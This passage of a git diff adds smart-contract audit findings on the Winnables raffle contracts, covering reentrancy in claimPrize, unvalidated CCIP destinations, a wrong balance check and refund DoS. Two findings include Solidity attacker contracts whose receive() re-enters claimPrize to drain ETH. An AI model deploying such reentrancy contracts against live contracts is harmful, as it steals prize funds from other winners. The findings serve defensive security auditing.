_tokensLocked[raffle.tokenAddress] -= raffle.amount; + } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { + _ethLocked -= _ethRaffles[raffleId]; + } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else { + revert InvalidRaffle(); + } +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` \ No newline at end of file diff --git a/001/529.md b/001/529.md new file mode 100644 index 0000000..7fcb527 --- /dev/null +++ b/001/529.md @@ -0,0 +1,32 @@ +Uneven Violet Snail + +High + +# Wrong check in withdrawTokens() does not allow tokens withdraw + +## Summary +Wrong check in WinnablesTicketManager.sol - withdrawTokens() function, does not allow tokens withdraw. + +## Vulnerability Detail +```jsx + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` +If we have amount lower than the balance, the function is going to revert. In case it should revert, when the amount is bigger than the balance - when the balance is not enough. +## Impact +Funds will be stuck. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L290-L297 + +## Tool used + +Manual Review + +## Recommendation +The condition in the withdrawTokens() function should be corrected to ensure that the transaction only reverts if the amount to be withdrawn exceeds the contract's balance. This will prevent funds from being stuck and ensure that withdrawals can be executed as intended. +if (amount > balance) revert InsufficientBalance(); diff --git a/001/531.md b/001/531.md new file mode 100644 index 0000000..c66bc2f --- /dev/null +++ b/001/531.md @@ -0,0 +1,73 @@ +Teeny Marmalade Ladybug + +High + +# Malicious user can block prize distribution and raffle cancellation in `WinnablesTicketManager` + +### Summary + +The `propagateRaffleWinner` and `cancelRaffle` functions in the `WinnablesTicketManager` contract allow any user to specify the destination contract address (`prizeManager`) and the `chainId` (`chainSelector`): + +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { +``` + +This allows a malicious user to input arbitrary contract addresses and chain IDs. In both functions, the `_sendCCIPMessage()` method is used to send CCIP messages: + +```solidity + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId)); +``` + +The `BaseCCIPSender` contract’s `_sendCCIPMessage()` function then calls the `ccipSend()` function to send messages to the CCIP Router with the user-specified destination `chainId`: + +```solidity + messageId = router.ccipSend(ccipDestChainSelector, message); +``` + +According to Chainlink CCIP's [`Router` contract](https://etherscan.io/address/0x80226fc0Ee2b096224EeAc085Bb9a8cba1146f7D#code), the `_sendCCIPMessage` function on Ethereum only checks if the destination `chainId` is supported by the onRamp contract. If it is, the message is forwarded without further validation: + +```solidity + address onRamp = s_onRamps[destinationChainSelector]; + if (onRamp == address(0)) revert UnsupportedDestinationChain(destinationChainSelector); +``` + +As a result, if a malicious user specifies a supported `chainId` and the `0` address in `propagateRaffleWinner` and `cancelRaffle`, the CCIP message will be sent to the destination chain without any issues. Since the `0` address is used, the message will not be received by the `WinnablesPrizeManager` contract. + +Exploiting this vulnerability, a malicious actor can call these functions with incorrect addresses, leading to: +1. Raffle winners being unable to claim prizes because the `RafflePrize.winner` cannot be correctly updated, defaulting to the `0` address. +2. The admin being unable to withdraw funds since the prize cannot be unlocked. + +### Root Cause + +The root cause is the unrestricted allowance for users to input the contract address of the `WinnablesPrizeManager` and a destination `chainId` in the `propagateRaffleWinner` and `cancelRaffle` functions of the `WinnablesTicketManager` contract. These variables should only be modifiable by an admin with role `0`, to prevent unauthorized changes. + +### Internal pre-conditions + +1. A winner can be selected from a raffle, or the raffle can be canceled. +2. The `ChainId` used by the malicious actor is supported by Chainlink CCIP. + +### External pre-conditions + +None + +### Attack Path + +1. The malicious user calls the `propagateRaffleWinner` or `cancelRaffle` function on the `WinnablesTicketManager.sol` contract. +2. The user provides an arbitrary or `0` address for the `prizeManager` and a supported `chainId` as the `chainSelector`. +3. The `_sendCCIPMessage()` function forwards the message via the `Chainlink CCIP Router`. +4. The CCIP message is sent, but because the destination address is `0` or incorrect, the `WinnablesPrizeManager` contract on Ethereum does not receive the message. + +### Impact + +The affected party includes both raffle participants and admins: +- Participants: Suffer the inability to claim their raffle prizes. +- Admins: Cannot withdraw locked funds. + +### PoC + +_No response_ + +### Mitigation + +Update the `propagateRaffleWinner` and `cancelRaffle` functions in the `WinnablesTicketManager` contract to allow users to input only the `raffleId`. This change will prevent users from altering the `WinnablesPrizeManager` address and the destination `chainId` variables needed for CCIP messages. \ No newline at end of file diff --git a/001/532.md b/001/532.md new file mode 100644 index 0000000..465990b --- /dev/null +++ b/001/532.md @@ -0,0 +1,48 @@ +Cool Walnut Haddock + +Medium + +# M-05 Potential DoS Due to Gas Limit in Refund Function + +### Summary + +The refundPlayers function in the WinnablesTicketManager contract processes refunds for participants in a canceled raffle by iterating over a list of participants. However, the function does not account for the potential gas limit issues that may arise when the players array is large. This can result in a Denial of Service (DoS) condition where the transaction fails due to out-of-gas errors, leaving participants unable to receive their refunds. + +### Root Cause + +The root cause of the issue lies in the function's design, which processes all refunds in a single transaction by iterating through the entire players array. If the number of participants is large, the transaction may exceed the block gas limit, causing it to fail. This failure prevents any refunds from being processed. + +Vulnerable code: +* https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L218 + + +### Internal pre-conditions + +1. The raffle status is RaffleStatus.CANCELED. +2. The players array contains a large number of participants. +3. The function is called by an authorized user with the appropriate role. + +### External pre-conditions + +None + +### Attack Path + +1. The raffle is canceled, and the refundPlayers function is called with a large players array. +2. The function begins processing refunds but runs out of gas due to the large number of participants. +3. The transaction fails, preventing any refunds from being processed. + +### Impact + +The impact of this issue is significant, as it can result in a situation where no participants in a canceled raffle are refunded. This creates a Denial of Service (DoS) condition for the participants, leading to a loss of trust in the platform and potential financial losses for the affected users. Additionally, the contract's operations could be disrupted if the refunds cannot be processed, leading to further complications and delays. + +### PoC + +1. The raffle is canceled, and there are 10,000 participants in the players array. +2. The refundPlayers function is called to process the refunds. +3. The function runs out of gas while iterating through the players array, causing the transaction to fail. +4. As a result, no participants are refunded, and the function cannot be successfully executed. + +### Mitigation + +To mitigate this issue, consider implementing a batching mechanism that processes refunds in smaller groups or allows participants to claim their refunds individually. This approach would prevent the transaction from exceeding the block gas limit and ensure that refunds can be processed even for large participant lists. \ No newline at end of file diff --git a/001/534.md b/001/534.md new file mode 100644 index 0000000..f41deea --- /dev/null +++ b/001/534.md @@ -0,0 +1,80 @@ +Helpful Gauze Hawk + +High + +# Reentrancy in `claimPrize` can drain ETH prizes + +### Summary + +An attacker can steal ETH prizes from the protocol by reentering the `WinnablesPrizeManager:claimPrize()` function when multiple ETH prize raffles are ongoing and they have won a raffle. + +### Root Cause + +There are two root issues here. +1. `claimPrize()` does not follow the CEI pattern. These checks and raffle status change should happen at the beginning of the function, not the end +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L120-#L122 +```solidity +if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +rafflePrize.status = RafflePrizeStatus.CLAIMED; +``` +2. The second issue is that `_sendETHPrize()` uses the `.call()` method without gas limits. This allows an attacker to create a smart contract that can reenter the `claimPrize()` function and claim extra ETH that should be reserved for other raffles. + +### Internal pre-conditions + +1. The attacker must win an ETH raffle from their attacking smart contract. +2. There must be at least double the prize amount of ETH the attacker originally won locked in `WinnablesPrizeManager.sol` most likely from other ongoing ETH raffles. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. The attacker creates a smart contract that will call `claimPrize` when it receives ETH, can enter ETH raffles, and has the same address on both Ethereum and Avalanche. +2. The attacker wins an ETH raffle +3. The attacker waits until there is one or more ETH raffles ongoing and the amount of `_lockedETH` is at least double the original prize amount the attacker won. +4. The attacker calls the `claimPrize` function which sends ETH via `.call` +5. When the attacking contract receives the ETH from the raffle it rightfully won it calls back and reenters the `claimPrize` function. +6. The attacker claims the same amount of ETH again stealing it from other ongoing ETH raffles. +7. The attacker can repeat this until there is less ETH in the contract than the original ETH prize they won. + +### Impact + +The attacker gains double or more ETH than they originally should have. +Victims of the attack are other ETH raffle winners who will not be able to claim their rightful prizes. +If ETH raffles that are affected by this attack, are not canceled or unable to be canceled, then the leftover ETH will be stuck in the contract as it will not be decremented from `_lockedETH`. + +### PoC + +_No response_ + +### Mitigation + +Follow CEI in `claimPrize` + +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` diff --git a/001/535.md b/001/535.md new file mode 100644 index 0000000..1ceb66f --- /dev/null +++ b/001/535.md @@ -0,0 +1,37 @@ +Uneven Violet Snail + +Medium + +# Logic error in _checkShouldCancel() function + +## Summary +Raffle can be canceled even when it should not be. + +## Vulnerability Detail + _checkShouldCancel() function in the WinnablesTicketManager.sol contract contains a logic error that incorrectly allows a raffle to be canceled even when it should not be eligible for cancellation. This function is designed to ensure that a raffle can only be canceled if it meets specific criteria: the raffle must be in the IDLE state, it must have ended, and the number of tickets sold (supply) must be less than the minTicketsThreshold. + +However, the current implementation of _checkShouldCancel only prevents cancellation if the supply of tickets is greater than the minTicketsThreshold. This leaves a loophole: if the supply is exactly equal to the minTicketsThreshold, the function allows the raffle to be canceled, even though the raffle has met the minimum ticket requirement and should proceed. + +```jsx + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +## Impact +This logic flaw can lead to the cancellation of raffles that have met the minimum ticket threshold, which should not be allowed. Such an action could unfairly prevent the raffle from concluding as intended, potentially leading to losses + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441 + +## Tool used + +Manual Review + +## Recommendation +if (supply >= raffle.minTicketsThreshold) revert TargetTicketsReached(); +This ensures that only raffles with a ticket supply below the threshold can be canceled. \ No newline at end of file diff --git a/001/537.md b/001/537.md new file mode 100644 index 0000000..f68cfae --- /dev/null +++ b/001/537.md @@ -0,0 +1,69 @@ +Virtual Ebony Cricket + +High + +# Reenterncy in `WinnablesPrizeManager::claimPrize` + +## Summary + +The `claimPrize` function in the `WinnablesPrizeManager` contract is vulnerable to a reentrancy attack because it updates prize status after making external calls, and lacks reentrancy protection. This could allow an attacker to repeatedly call the function and disrupt prize claiming. + +## Vulnerability Detail +The `claimPrize` function processes different types of prizes (NFTs, tokens, and ETH) based on the `raffleType`. It performs several operations and makes external calls to send prizes: + +- NFT Prizes: Calls `_sendNFTPrize` after unlocking the NFT. +- Token Prizes: Calls `_sendTokenPrize` after adjusting token balances. +- ETH Prizes: Calls `_sendETHPrize` after adjusting ETH balances. + +The check for winner and `rafflePrize.status` is getting update after sending the prize, This ordering allows an attacker to exploit the function by re-entering `claimPrize` before the initial transaction completes. + +An attacker can deploy a malicious contract that re-enters the `claimPrize` function during prize transfers, potentially draining funds or claiming multiple prizes. + +#### POC +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface IWinnablesTicket { + function claimPrize(uint256 raffleId) external; +} + +contract MaliciousContract { + IWinnablesTicket public targetContract; + uint256 public raffleId; + + // Constructor to initialize the target contract and raffle ID + constructor(address _targetContract, uint256 _raffleId) { + targetContract = IWinnablesTicket(_targetContract); + raffleId = _raffleId; + } + + // Function to start the attack + function attack() external { + targetContract.claimPrize(raffleId); + } + + // Fallback function to re-enter the target contract + receive() external payable { + if (address(targetContract).balance > 0) { + targetContract.claimPrize(raffleId); + } + } +} + +``` + + +## Impact +Attackers could exploit this vulnerability to claim multiple prizes or drain funds by repeatedly calling `claimPrize` before the initial call completes. + +## Code Snippet +[WinnablesPrizeManager::claimPrize](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105) + +## Tool used + +Manual Review + +## Recommendation + + Consider implementing a reentrancy guard or follow CEI (Checks Effects Interactions) pattern diff --git a/001/538.md b/001/538.md new file mode 100644 index 0000000..7177ff0 --- /dev/null +++ b/001/538.md @@ -0,0 +1,99 @@ +Deep Crimson Cuckoo + +High + +# Reentrancy in claimPrize Function + +## Summary + +The `claimPrize` function in the WinnablesPrizeManager contract is vulnerable to reentrancy due to its failure to adhere to the Checks-Effects-Interactions (CEI) pattern, or implement a reentrancy guard. This vulnerability could potentially allow a malicious contract that has won a raffle to claim a prize multiple times. + +## Vulnerability Detail + +The `claimPrize` function performs external calls (sending ETH, tokens, or NFTs) before updating the raffle status to "CLAIMED". This order of operations, with no reentrancy guard, creates a window for reentrancy attacks. Here's the relevant code snippet: + +```solidity +function claimPrize(uint256 raffleId) external { + // ... (checks) + + if (raffleType == RaffleType.NFT) { + // ... (NFT transfer logic) + } else if (raffleType == RaffleType.TOKEN) { + // ... (token transfer logic) + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + // State update occurs after external calls + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +} +``` + +The issue lies in the fact that the raffle status is updated after the prize is sent. If the winner is a malicious contract, it could potentially re-enter the `claimPrize` function during the prize transfer, allowing multiple claims before the status is updated. + +## Impact + +This vulnerability could allow a malicious raffle winner, that is a contract, to claim the same prize multiple times, draining the contract of more funds than intended. + + +## Proof of Concept + +```solidity +contract MaliciousWinner { + WinnablesPrizeManager public prizeManager; + uint256 public raffleId; + uint256 public claimCount; + + constructor(WinnablesPrizeManager _prizeManager, uint256 _raffleId) { + prizeManager = _prizeManager; + raffleId = _raffleId; + } + + function attack() external { + prizeManager.claimPrize(raffleId); + } + + receive() external payable { + if (claimCount < 3) { + claimCount++; + prizeManager.claimPrize(raffleId); + } + } +} +``` + +This malicious contract, when set as the winner of a raffle, could potentially claim the prize multiple times by re-entering the `claimPrize` function during the ETH transfer. + + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 + +## Tool used + +Manual Review + +## Recommendation + +Add a reentrancy guard to claimPrize (from OpenZeppelin or a custom implementation as seen below) + +Reentrancy guard modifier: + +```solidity +bool private _locked; + +modifier noReentrant() { + require(!_locked, "No reentrancy"); + _locked = true; + _; + _locked = false; +} + +function claimPrize(uint256 raffleId) external noReentrant { + // ... (function body) +} +``` + +These changes will ensure that the contract state is updated before any external calls are made, preventing reentrancy attacks and maintaining the integrity of the prize claiming process. \ No newline at end of file diff --git a/001/539.md b/001/539.md new file mode 100644 index 0000000..b436465 --- /dev/null +++ b/001/539.md @@ -0,0 +1,78 @@ +Merry Plastic Poodle + +High + +# `_sendCCIPMessage` function does not check `ccipDestAddress` and `ccipDestChainSelector` arguments allowing anyone to propagate winner to an arbitrary chain and PrizeManager + +## Summary +## Vulnerability Detail +`WinnablesTicketManager::propagateRaffleWinner` function is responsible to send raffle's winner to `PrizeManager`. its suppose to do so by sending a cross-chain message to `WinnableaPrizeManager` on mainnet: +```solidity + function propagateRaffleWinner( + address prizeManager, //@audit-info address of PrizeManager on ETH chain + uint64 chainSelector, //@audit-info chainId of ETH + uint256 raffleId //@audit-info the raffle Id + ) external { + Raffle storage raffle = _raffles[raffleId]; + //@audit-info must be fulfilled + if (raffle.status != RaffleStatus.FULFILLED) + revert InvalidRaffleStatus(); + //@audit-info set status to propagated + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + //@audit-info send the CCIP message + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked( + uint8(CCIPMessageType.WINNER_DRAWN), + raffleId, + winner + ) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` +we know from code docs that this function is public (no access control): +```solidity + /// @notice (Public) Send a cross-chain message to the Prize Manager to + /// mark the prize as claimable by the winner + /// @param raffleId ID of the Raffle we wish to draw a winner for +``` +and anyone is able to call this function with arbitrary `prizeManager` and `chainSelector`, however, if we look at `_sendCCIPMessage` we can see that there are no checks to validate that `prizeManager` and `chainSelector` are actually correct: +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L15-L50 +this gives a malicious actor the opportunity to propagate winner to an incorrect chain or prizeManager, preventing rewards from being unlocked and given to actual winner. +Also, since raffle status is updated to `PROPAGATED` its not possible to call this function again with correct `prizeManager `and `chainSelector`: +```solidity +raffle.status = RaffleStatus.PROPAGATED; +``` + +`_ccipReceive` checks whether `senderAddress` and `sourceChainSelector` are valid, similar checks must be implemented in `_sendCCIPMessage`: +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + address _senderAddress = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract( + _senderAddress, + message.sourceChainSelector + ); + //@audit-info check if sender and source chain are valid + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); +``` +## Impact +Anyone is able to propagate a raffle to an incorrect `prizeManager` and chain, preventing raffle winner from receiving the rewards and locking rewards inside `WinnablesPrizeManager` + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L15-L50 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345 + +## Tool used + +Manual Review + +## Recommendation +Inside `_sendCCIPMessage` check whether target chain and `prizeManager` are supported \ No newline at end of file diff --git a/001/540.md b/001/540.md new file mode 100644 index 0000000..a4f82c8 --- /dev/null +++ b/001/540.md @@ -0,0 +1,59 @@ +Teeny Marmalade Ladybug + +Medium + +# Malicious User Can Brick Protocol and Drain Funds by Repeatedly Canceling Raffles in `WinnablesTicketManger` + +### Summary + +A malicious actor can exploit the `WinnablesTicketManager::cancelRaffle` function to cancel a raffle immediately after the prize is locked and the `RafflePrizeLocked` event is emitted. This prevents the admin from creating new raffles. Chainlink CCIP messaging fees between Ethereum and other chains range from $0.45 to $0.50 (see [Chainlink CCIP Billing](https://docs.chain.link/ccip/billing#network-fee-table)). Each attack incurs approximately $1 in CCIP fees, as it involves sending two messages: one when the admin locks the funds and another when the attacker cancels the raffle. + +This attack can be repeated continuously, and because locking funds is a prerequisite for starting any raffle, the admin must call the locking functions. Consequently, these fees can quickly accumulate, resulting in significant financial losses for the admin or protocol. Additionally, because Avalanche is used for the `WinnablesTicketManager` contract, the cost of executing the attack is relatively low—around $0.02 to $0.03. This makes the attack economically viable for the malicious actor, enabling them to prevent raffle creation and effectively brick the protocol. + +### Root Cause + +The lack of restrictions on who can call the `cancelRaffle` function in the `WinnablesTicketManager.sol` contract allows any user to cancel a raffle as soon as the prize is locked, leading to unnecessary Chainlink CCIP messaging fees and preventing raffle creation. + +### Internal pre-conditions + +The admin locks a prize using the `WinnablesPrizeManager.sol` contract, triggering the `RafflePrizeLocked` event. + +### External pre-conditions + +1. The attacker needs to monitor the blockchain for the `RafflePrizeLocked` event, indicating that a prize has been locked. +2. The attacker must have sufficient funds to cover the low transaction fees on the Avalanche network. + +### Attack Path + +1. The admin locks a prize on the `WinnablesPrizeManager.sol` contract, and the `RafflePrizeLocked` event is emitted. +2. The attacker, monitoring for this event, immediately calls the `cancelRaffle` function on the `WinnablesTicketManager.sol` contract. +3. This triggers the `_sendCCIPMessage()` function, sending a message to the `WinnablesPrizeManager` contract to cancel the raffle. +4. The raffle is canceled, and the admin is forced to lock the prize again to create a new raffle. +5. Each iteration of this attack incurs a Chainlink CCIP fee of approximately $1 for the admin, while the attacker only spends around $0.02 to $0.03 due to the low fees on Avalanche. +6. The attacker repeats this process continuously, effectively bricking the raffle creation process. + +### Impact + +1. Suffers from the inability to create raffles, effectively rendering the platform inoperable. +2. Face continuous losses due to the repeated need to pay Chainlink CCIP fees each time the raffle is canceled and restarted. This can accumulate into a substantial amount over time. + +### PoC + +_No response_ + +### Mitigation + +Add these lines in `_checkShouldCancel`: +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +-- if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; +++ if (raffle.status == RaffleStatus.PRIZE_LOCKED) { +++ if(_hasRole(msg.sender, 0)) return; +++ } else revert; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` \ No newline at end of file diff --git a/001/541.md b/001/541.md new file mode 100644 index 0000000..7a2dc8c --- /dev/null +++ b/001/541.md @@ -0,0 +1,53 @@ +Decent Scarlet Squid + +High + +# Funds from canceled raffles will be stuck in the contract + +## Summary +When a raffle is canceled and users request refunds, an outdated `_lockedETH` can cause an underflow and block ETH withdrawals by the admin due to balance discrepancies + +## Vulnerability Detail +When a raffle is canceled, users who have already bought tickets can refund their funds by calling the `refundPlayers` function. The amount they sent is retrieved from the participation mapping and is sent directly back to the player. + +```solidity +uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); +``` + +```solidity + function _sendETH(uint256 amount, address to) internal { + if (amount == 0) revert NothingToSend(); + (bool success, ) = to.call{value: amount}(""); + if (!success) revert ETHTransferFail(); + } +``` + +The storage variable `_lockedETH` represents the sum of all raffle prizes, indicating how much ETH are locked in the contract. When a user refunds their funds, the variable is not subtracted by the `amountToSend` , which will lead to incorrect tracking of how much ethers should be in the contract. + +This miscalculation can be problematic because, when the admin tries to withdraw ETHs from other canceled raffles, the `address(this).balance `will be lower than `_lockedETH`, which will lead to an underflow when the `balance` variable is calculated. Consequently, sending ETH to the admin address will be blocked because the `balance` variable will be too large, causing the transaction to fail. + +```solidity +/// @notice (Admin) Withdraw ETH from a canceled raffle or ticket sales +function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + //@audit address(this).balance > _lockedETH -> underflow + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); +} +``` + +## Impact +Funds from canceled raffles will be stuck in the contract. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L224 + +## Tool used + +Manual Review + +## Recommendation +Subtract `_lockedETH` by `amountToSend` when a refund is made. \ No newline at end of file diff --git a/001/542.md b/001/542.md new file mode 100644 index 0000000..afe8db8 --- /dev/null +++ b/001/542.md @@ -0,0 +1,36 @@ +Tart Brick Canary + +High + +# Attackers can cause winner to loss their raffle amount permanently due to missing access control + +## Summary +Attackers can cause winners to lose their raffle amount permanently due to missing access control + +## Vulnerability Detail +When a winner for a raffle has been set, a message is to be sent from the TicketManager to the PrizeManager to allow the rightful winner claim the raffle amount, this is done through the `propagateRaffleWinner()` function which can be called by anyone and can only be called once since it also updates the status of the raffle permanently. +```solidity +function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); +@> raffle.status = RaffleStatus.PROPAGATED; + ... + +@> _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + ... + } +``` +The issue here is in the `_sendCCIPMessage()`, notice it takes in `prizeManager` and `chainSelector` as an argument. This means anyone can call this function passing in the wrong `prizeManager` and/or `chainSelector`, this would send the message to a wrong contract or chain but still sets the raffle status to PROPAGATED preventing anyone from calling it again causing winners to loss their raffle amount permanently. + +## Impact +Attackers can cause winners to lose their raffle amount permanently + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L340 + +## Tool used + +Manual Review + +## Recommendation +Consider making the `prizeManager` and `chainSelector` a storage variable that can only be set by the admin and read from that instead of passing them in as an argument to the propagateRaffleWinner() function. \ No newline at end of file diff --git a/001/543.md b/001/543.md new file mode 100644 index 0000000..74bed9c --- /dev/null +++ b/001/543.md @@ -0,0 +1,81 @@ +Vast Pastel Trout + +High + +# WinnablesTicketManager::propagateRaffleWinner can be called by anyone with an invalid prizeManager address + +### Summary + +When raffle is fulfilled and a winner is picked, anyone can call [WinnablesTicketManager.sol::propagateRaffleWinner(..)](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345). The caller sets the address of the receiving `prizeManager` and the `chainSelector`. The input values are not validated. So a caller can call with any parameter that is not the zero address or the value zero. After the status of the raffle is updated to `PROPAGATED`, it sends the ccip msg. This call will not revert, as any address is a valid target for a ccip call [see](https://docs.chain.link/ccip). + +The raffle is stuck at `RaffleStatus.PROPAGATED`. Therefore the WinnablesTicketManager.sol thinks the raffle is finished, but the WinnablesPrizeManager.sol never got the msg who won that raffleId. In that contracts view no winner was ever picked. The prices will be locked forever. + +Notice: While this report mostly talks about a invalid prizeManager, a invalid chainSelector can also cause the same issue. + +This is a serious DOS attack with indefinite lockup times. + +### Root Cause + +[propagateRaffleWinner](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) does not check if the CCIP msg receiver is a valid CCIP counterpart. It should only allow msg to that receiver. + +### Internal pre-conditions + +1. Raffle must be in state `RaffleStatus.FULFILLED` (normal state for each raffle) +2. Attacker is able to front run honest users/the protocol as propagateRaffleWinner can only be called once per raffle + +### External pre-conditions + +_No response_ + +### Attack Path + +1. call propagateRaffleWinner with an incorrect `prizeManager` or `chainSelector` + +### Impact + +_No response_ + +### PoC + +Adding this test to the existing [TicketManager.js](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/test/TicketManager.js) shows how an attacker is able to set a invalid receiver: + +```diff +@@ -783,6 +783,15 @@ describe('CCIP Ticket Manager', () => { + ); + }); + ++ it('Should not be able to send result to random reciver', async () => { ++ const randomUser = await getWalletWithEthers(); ++ const randomReciver = ethers.Wallet.createRandom().address; ++ await expect(manager.connect(randomUser).propagateRaffleWinner(randomReciver, 1, 1)).to.be.reverted; ++ }); ++ + it('Should be able to propagate when the winner is drawn', async () => { + ``` + + As this test does not revert, it is shown that it is possible to send to a random CCIP receiver blocking that raffle id indefinitely. + +### Mitigation + +[BaseCCIPSender::_sendCCIPMessage](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPSender.sol#L15-L50) should validate if the intended receiver is a valid CCIP contact. For example with this change: + +```diff +@@ -10,6 +10,7 @@ import "./BaseLinkConsumer.sol"; + + abstract contract BaseCCIPSender is BaseCCIPContract, BaseLinkConsumer { + error MissingCCIPParams(); ++ error UnauthorizedCCIPReceiver(); + error InsufficientLinkBalance(uint256 balance, uint256 required); + + function _sendCCIPMessage( +@@ -20,6 +21,9 @@ abstract contract BaseCCIPSender is BaseCCIPContract, BaseLinkConsumer { + if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) { + revert MissingCCIPParams(); + } ++ ++ bytes32 counterpart = _packCCIPContract(ccipDestAddress, ccipDestChainSelector); ++ if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPReceiver(); + + // Send CCIP message to the desitnation contract + IRouterClient router = IRouterClient(CCIP_ROUTER); +``` \ No newline at end of file diff --git a/001/544.md b/001/544.md new file mode 100644 index 0000000..79ace2e --- /dev/null +++ b/001/544.md @@ -0,0 +1,51 @@ +Small Honeysuckle Sheep + +High + +# an attacker can prevent the winner of 